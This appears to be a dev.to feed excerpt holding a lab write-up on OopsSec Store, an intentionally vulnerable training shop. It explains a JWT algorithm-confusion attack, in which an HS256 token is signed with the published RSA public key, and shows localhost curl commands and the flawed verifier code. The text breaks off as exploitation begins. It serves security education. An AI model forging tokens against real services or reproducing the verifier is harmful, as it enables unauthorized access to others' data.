&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>webdev</category>
      <category>typescript</category>
    </item>
    <item>
      <title>Publishing your public key is safe. Until your verifier accepts HS256.</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Wed, 26 Aug 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/publishing-your-public-key-is-safe-until-your-verifier-accepts-hs256-2gca</link>
      <guid>https://dev.to/oopssec-store/publishing-your-public-key-is-safe-until-your-verifier-accepts-hs256-2gca</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;OopsSec Store publishes its partner signing key on purpose, so partners can verify webhooks. Its token verifier also accepts HS256. Those two facts together let anyone mint a token for any supplier and read their purchase orders.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OopsSec Store runs a Partner API for its suppliers. It hands out a sandbox token to anyone who clicks a button, it authenticates with RS256-signed JWTs, and it publishes its public key at &lt;code&gt;/.well-known/jwks.json&lt;/code&gt; so partners can verify webhook callbacks. Every one of those decisions is correct on its own.&lt;/p&gt;

&lt;p&gt;The verifier, though, reads the &lt;code&gt;alg&lt;/code&gt; field out of the token header and does what it says. Give it &lt;code&gt;RS256&lt;/code&gt; and it calls &lt;code&gt;crypto.verify&lt;/code&gt;. Give it &lt;code&gt;HS256&lt;/code&gt; and it calls &lt;code&gt;crypto.createHmac&lt;/code&gt; — with the same key. That key is public. We can read it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;

&lt;p&gt;The footer has a "Partner API" link under Navigation. It leads to &lt;code&gt;/partners&lt;/code&gt;, which reads like any B2B integration page: what the API does, how to authenticate, an endpoint table, a webhook section, a changelog, and a directory of suppliers already using it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbg80palq4e1yivdwsrue.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbg80palq4e1yivdwsrue.png" alt="Partner" width="800" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three things on that page are worth writing down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;sub&lt;/code&gt; claim is the identity.&lt;/strong&gt; The authentication section says it outright:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;sub&lt;/strong&gt; claim is your partner ID and decides which purchase orders you can read. Endpoints take no partner parameter: whoever the token says you are is who you are.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No &lt;code&gt;?supplierId=&lt;/code&gt; to tamper with. If we want someone else's data, we have to change the token itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The public key is published deliberately.&lt;/strong&gt; The webhook section explains why:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;When a purchase order changes state we POST it to your callback URL and sign the body with the same key pair that signs access tokens. […] So we publish that public key, deliberately and permanently.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Two links: &lt;code&gt;/.well-known/jwks.json&lt;/code&gt; and &lt;code&gt;/.well-known/partner-signing-key.pem&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two algorithms are in play.&lt;/strong&gt; The changelog:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;v2 — Current.&lt;/strong&gt; Access tokens are signed with RS256. […]&lt;br&gt;
&lt;strong&gt;v1 — Deprecated.&lt;/strong&gt; Access tokens were signed with HS256 using a shared secret issued per supplier. The gateway still accepts them while the last integrations migrate, so the v2 rollout did not need a flag day.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A verifier that accepts both an asymmetric and a symmetric algorithm is a shape worth being suspicious about. Hold that thought.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The partner directory&lt;/strong&gt; lists who else is on the API:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Supplier&lt;/th&gt;
&lt;th&gt;Partner ID&lt;/th&gt;
&lt;th&gt;Categories&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Knead to Know Bakehouse&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SUP-001&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bakery, viennoiserie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lettuce Encrypt Organics&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SUP-LETTUCE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Produce, dairy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brie Force Fromagerie&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SUP-BRIE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cheese, charcuterie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Those are the values we would put in &lt;code&gt;sub&lt;/code&gt; if we could sign a token.&lt;/p&gt;
&lt;h2&gt;
  
  
  Getting a working token
&lt;/h2&gt;

&lt;p&gt;Click &lt;strong&gt;Generate sandbox token&lt;/strong&gt; on &lt;code&gt;/partners&lt;/code&gt;, or call the endpoint directly:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/partner/sandbox-token | jq &lt;span class="nt"&gt;-r&lt;/span&gt; .access_token&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Use it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://localhost:3000/api/partner/orders | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"partnerId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUP-SANDBOX"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"count"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"orders"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"purchaseOrderId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PO-SBX-0003"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"total"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1310.75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Sandbox fixture — not a real commitment."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"createdAt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-09T21:19:29.251Z"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Dummy data, as advertised. Now decode the token:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$TOKEN&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo
echo&lt;/span&gt; &lt;span class="nv"&gt;$TOKEN&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ZTLqFfje…"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://oopssec.store"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUP-SANDBOX"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"scope"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"orders:read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1786310396&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1786313996&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;sub&lt;/code&gt; is &lt;code&gt;SUP-SANDBOX&lt;/code&gt;. Using tool like &lt;a href="https://www.jwt.io/" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt;, change it to &lt;code&gt;SUP-LETTUCE&lt;/code&gt; and the signature breaks — we do not have the private key.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7o53et3a9d6gnuenm1m9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7o53et3a9d6gnuenm1m9.png" alt="jwt.io" width="800" height="478"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unless we do not need it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Understanding the vulnerability
&lt;/h2&gt;
&lt;h3&gt;
  
  
  One key, two meanings
&lt;/h3&gt;

&lt;p&gt;RS256 is asymmetric. The private key signs, the public key verifies, and knowing the public key tells you nothing useful about how to sign. That asymmetry is what makes it safe to publish a JWKS.&lt;/p&gt;

&lt;p&gt;HS256 is symmetric. &lt;code&gt;HMAC-SHA256(secret, message)&lt;/code&gt; is computed the same way by whoever signs and whoever verifies. There is one key and it is a secret.&lt;/p&gt;

&lt;p&gt;Now suppose a verifier accepts both, and both branches read the same variable — a variable that holds the RSA public key. Under the RS256 branch, that variable is public verification material, which is fine. Under the HS256 branch, the same bytes are now "the secret". And they are printed on a web page.&lt;/p&gt;

&lt;p&gt;So: take the token, rewrite the header to say &lt;code&gt;HS256&lt;/code&gt;, put whatever we like in the payload, and sign it with &lt;code&gt;HMAC-SHA256&lt;/code&gt; keyed on the published public key. The server reads &lt;code&gt;alg: HS256&lt;/code&gt;, computes &lt;code&gt;HMAC-SHA256(public key, header.payload)&lt;/code&gt;, gets the same value we did, and accepts.&lt;/p&gt;
&lt;h3&gt;
  
  
  What the code actually does
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;lib/partner-auth.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;algorithm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;decodeSegment&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getPartnerTokenKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;signatureIsValid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;algorithm&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;RS256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;signatureIsValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;RSA-SHA256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signingInput&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;base64url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;algorithm&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;signatureIsValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nx"&gt;crypto&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHmac&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signingInput&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;base64url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;One &lt;code&gt;key&lt;/code&gt;. Two algorithms. &lt;code&gt;getPartnerTokenKey()&lt;/code&gt; returns the RSA public key PEM — the exact string served at &lt;code&gt;/.well-known/partner-signing-key.pem&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is not a contrived shape. It is what an unfinished migration looks like: the HS256 branch predates the RS256 one, the variable that used to hold the per-supplier shared secret was repointed at the new key material, and the branch nobody wanted to break stayed.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Get the exact key bytes
&lt;/h3&gt;

&lt;p&gt;This is the fiddly part. &lt;code&gt;createHmac&lt;/code&gt; keys on &lt;strong&gt;bytes&lt;/strong&gt;, so our HMAC key has to be byte-for-byte what the server passes in: the full PEM, &lt;code&gt;-----BEGIN PUBLIC KEY-----&lt;/code&gt; header included, base64 line breaks preserved, trailing newline present. One missing &lt;code&gt;\n&lt;/code&gt; and the signature simply will not match, with no error message to tell you why.&lt;/p&gt;

&lt;p&gt;The instructive route is to rebuild the PEM from the JWKS, since that is what you would have to do against a real target that only publishes a JWK:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:3000/.well-known/jwks.json | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"keys"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RSA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
